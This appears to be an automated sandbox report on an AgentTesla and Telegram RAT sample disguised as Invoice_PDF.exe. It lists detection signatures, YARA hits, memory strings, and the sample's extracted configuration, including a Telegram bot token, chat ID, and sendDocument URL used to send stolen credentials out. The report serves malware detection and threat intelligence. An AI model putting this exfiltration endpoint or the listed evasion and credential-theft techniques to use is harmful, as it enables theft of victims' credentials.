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Windows Analysis Report Invoice_PDF.exe

Overview

General Information

Sample Name:	Invoice_PDF.exe
Analysis ID:	532735
MD5:	1dcc43f272f66d8e5afe11e7276dd122
SHA1:	cb6a88d1443e7cca944a4176e2a8ebc205f715e3
SHA256:	0c6a99b9327cbcb0f3c5b18bc93d347ec8adcb3686e562c515ee4388713e8ed7
Tags:	agentteslaexe
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Telegram RAT

Yara detected AgentTesla

Yara detected AntiVM3

Antivirus / Scanner detection for submitted sample

Tries to steal Mail credentials (via file / registry access)

Initial sample is a PE file and has a suspicious name

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

Invoice_PDF.exe (PID: 6140 cmdline: "C:\Users\user\Desktop\Invoice_PDF.exe" MD5: 1DCC43F272F66D8E5AFE11E7276DD122)

Invoice_PDF.exe (PID: 5944 cmdline: C:\Users\user\Desktop\Invoice_PDF.exe MD5: 1DCC43F272F66D8E5AFE11E7276DD122)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Chat id": "1952161154", "Chat URL": "https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendDocument"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000003.00000002.519916492.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.519916492.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000003.00000000.272859935.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000000.272859935.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000003.00000000.273395534.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000000.273395534.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Process Memory Space: Invoice_PDF.exe PID: 6140	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Invoice_PDF.exe PID: 6140	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Invoice_PDF.exe PID: 6140	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Invoice_PDF.exe PID: 5944	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Invoice_PDF.exe PID: 5944	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Invoice_PDF.exe PID: 5944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
3.0.Invoice_PDF.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.0.Invoice_PDF.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
3.2.Invoice_PDF.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.2.Invoice_PDF.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
3.0.Invoice_PDF.exe.400000.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.0.Invoice_PDF.exe.400000.6.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Invoice_PDF.exe.4130420.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Invoice_PDF.exe.4130420.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
3.0.Invoice_PDF.exe.400000.10.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.0.Invoice_PDF.exe.400000.10.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
3.0.Invoice_PDF.exe.400000.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.0.Invoice_PDF.exe.400000.8.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
3.0.Invoice_PDF.exe.400000.12.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.0.Invoice_PDF.exe.400000.12.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Invoice_PDF.exe.4219800.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Invoice_PDF.exe.4219800.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Invoice_PDF.exe.304a634.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.Invoice_PDF.exe.4130420.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Invoice_PDF.exe.4130420.4.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Invoice_PDF.exe.4219800.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Invoice_PDF.exe.4219800.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Click to see the 16 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 3.0.Invoice_PDF.exe.400000.12.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Chat id": "1952161154", "Chat URL": "https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendDocument"}
Source: Invoice_PDF.exe.5944.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendMessage"}

Multi AV Scanner detection for submitted file

Show sources

Source: Invoice_PDF.exe	Virustotal: Detection: 45%	Perma Link
Source: Invoice_PDF.exe	Metadefender: Detection: 48%	Perma Link
Source: Invoice_PDF.exe	ReversingLabs: Detection: 62%

Antivirus / Scanner detection for submitted sample

Show sources

Source: Invoice_PDF.exe

Avira: detected

Source: 3.0.Invoice_PDF.exe.400000.12.unpack	Avira: Label: TR/Spy.Gen8
Source: 3.0.Invoice_PDF.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8
Source: 3.0.Invoice_PDF.exe.400000.6.unpack	Avira: Label: TR/Spy.Gen8
Source: 3.2.Invoice_PDF.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 3.0.Invoice_PDF.exe.400000.10.unpack	Avira: Label: TR/Spy.Gen8
Source: 3.0.Invoice_PDF.exe.400000.8.unpack	Avira: Label: TR/Spy.Gen8

Source: Invoice_PDF.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49813 version: TLS 1.2

Source: Invoice_PDF.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 4x nop then jmp 09220F57h

Networking:

Uses the Telegram API (likely for C&C communication)

Show sources

Source: unknown

DNS query: name: api.telegram.org

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: POST /bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8d9b5ce0c4c9d6dHost: api.telegram.orgContent-Length: 1009Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813

Source: Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	String found in binary or memory: http://PHCGWf.com
Source: Invoice_PDF.exe, 00000003.00000002.527261346.00000000035B9000.00000004.00000001.sdmp	String found in binary or memory: http://api.telegram.org
Source: Invoice_PDF.exe, 00000003.00000002.529774678.0000000006EFE000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Invoice_PDF.exe, 00000003.00000002.527224881.00000000035A4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	String found in binary or memory: http://www.chinhdo.com
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Invoice_PDF.exe, 00000000.00000002.275871817.0000000001717000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comE8
Source: Invoice_PDF.exe, 00000000.00000002.275871817.0000000001717000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comgrito
Source: Invoice_PDF.exe, 00000000.00000002.275871817.0000000001717000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.como
Source: Invoice_PDF.exe, 00000000.00000002.275871817.0000000001717000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comoitu
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Invoice_PDF.exe, 00000000.00000002.280561726.0000000007122000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Invoice_PDF.exe, 00000003.00000002.527180057.00000000035A0000.00000004.00000001.sdmp	String found in binary or memory: https://87HMfkdDwCo1wEm.org
Source: Invoice_PDF.exe, 00000003.00000002.527027069.000000000354C000.00000004.00000001.sdmp	String found in binary or memory: https://87HMfkdDwCo1wEm.orgx
Source: Invoice_PDF.exe, 00000003.00000002.527224881.00000000035A4000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org
Source: Invoice_PDF.exe, 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp, Invoice_PDF.exe, 00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp, Invoice_PDF.exe, 00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/
Source: Invoice_PDF.exe, 00000003.00000002.527224881.00000000035A4000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendDocument
Source: Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot1900392974:AAEB_yGGlWksNcNC4Dg08OgUSlmDON2w098/sendDocumentdocument-----
Source: Invoice_PDF.exe, 00000003.00000002.527224881.00000000035A4000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org4
Source: Invoice_PDF.exe, 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp, Invoice_PDF.exe, 00000003.00000000.271867261.0000000000402000.00000040.00000001.sdmp, Invoice_PDF.exe, 00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: Invoice_PDF.exe, 00000003.00000002.525641259.0000000003251000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

DNS traffic detected: queries for: api.telegram.org

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49813 version: TLS 1.2

System Summary:

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample	Static PE information: Filename: Invoice_PDF.exe
Source: initial sample	Static PE information: Filename: Invoice_PDF.exe

.NET source code contains very large array initializations

Show sources

Source: 3.0.Invoice_PDF.exe.400000.12.unpack, u003cPrivateImplementationDetailsu003eu007b5029162Bu002d2D4Eu002d489Bu002d8212u002d1A5255E1EA59u007d/u0034695CF78u002d3B59u002d4037u002dB8EEu002dF86771E06890.cs

Large array initialization: .cctor: array initializer size 12005

Source: Invoice_PDF.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_02E2CBB4
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_02E2EFEA
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_02E2EFF8
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_02E26F21
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_0914521B
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_09142260
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_09146AB0
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_09146AC0
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_09146D10
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 0_2_09221380
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_01398560
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_01390818
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_0139C0FC
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_0139E570
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_0139B040
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_01392BD0
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_01394698
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_0176CDF0
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_0176DDA0
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_01768858
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_01764B78
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_0176A760
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_01760297
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_01765500
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_0176A0B8
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_017E47A0
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_017E3CCC
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_017E4750
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_017E4730
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_017E46F0
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_017E46B0
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Code function: 3_2_017E5490

Source: Invoice_PDF.exe	Binary or memory string: OriginalFilename vs Invoice_PDF.exe
Source: Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameTransactionalFileManager.dllf# vs Invoice_PDF.exe
Source: Invoice_PDF.exe, 00000000.00000002.276354246.0000000003021000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameVotmPjzzoZkNsXdXaeSGCVVue.exe4 vs Invoice_PDF.exe
Source: Invoice_PDF.exe, 00000000.00000002.282580770.0000000009150000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameUI.dll@ vs Invoice_PDF.exe
Source: Invoice_PDF.exe, 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameVotmPjzzoZkNsXdXaeSGCVVue.exe4 vs Invoice_PDF.exe
Source: Invoice_PDF.exe, 00000000.00000002.277834680.0000000004029000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUI.dll@ vs Invoice_PDF.exe
Source: Invoice_PDF.exe	Binary or memory string: OriginalFilename vs Invoice_PDF.exe
Source: Invoice_PDF.exe, 00000003.00000002.521181081.00000000012F8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Invoice_PDF.exe
Source: Invoice_PDF.exe, 00000003.00000000.272301229.0000000000402000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameVotmPjzzoZkNsXdXaeSGCVVue.exe4 vs Invoice_PDF.exe
Source: Invoice_PDF.exe	Binary or memory string: OriginalFilenameOverlappedDa.exeB vs Invoice_PDF.exe

Source: Invoice_PDF.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: Invoice_PDF.exe	Virustotal: Detection: 45%
Source: Invoice_PDF.exe	Metadefender: Detection: 48%
Source: Invoice_PDF.exe	ReversingLabs: Detection: 62%

Source: Invoice_PDF.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\Invoice_PDF.exe "C:\Users\user\Desktop\Invoice_PDF.exe"
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process created: C:\Users\user\Desktop\Invoice_PDF.exe C:\Users\user\Desktop\Invoice_PDF.exe
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Process created: C:\Users\user\Desktop\Invoice_PDF.exe C:\Users\user\Desktop\Invoice_PDF.exe

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Source: C:\Users\user\Desktop\Invoice_PDF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Invoice_PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Invoice_PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Invoice_PDF.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Invoice_PDF.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@1/1

Source: C:\Users\user\Desktop\Invoice_PDF.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\Desktop\Invoice_PDF.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: 3.0.Invoice_PDF.exe.400000.12.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 3.0.Invoice_PDF.exe.400000.12.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Users\user\Desktop\Invoice_PDF.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\Invoice_PDF.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\Invoice_PDF.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\Invoice_PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Invoice_PDF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Invoice_PDF.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

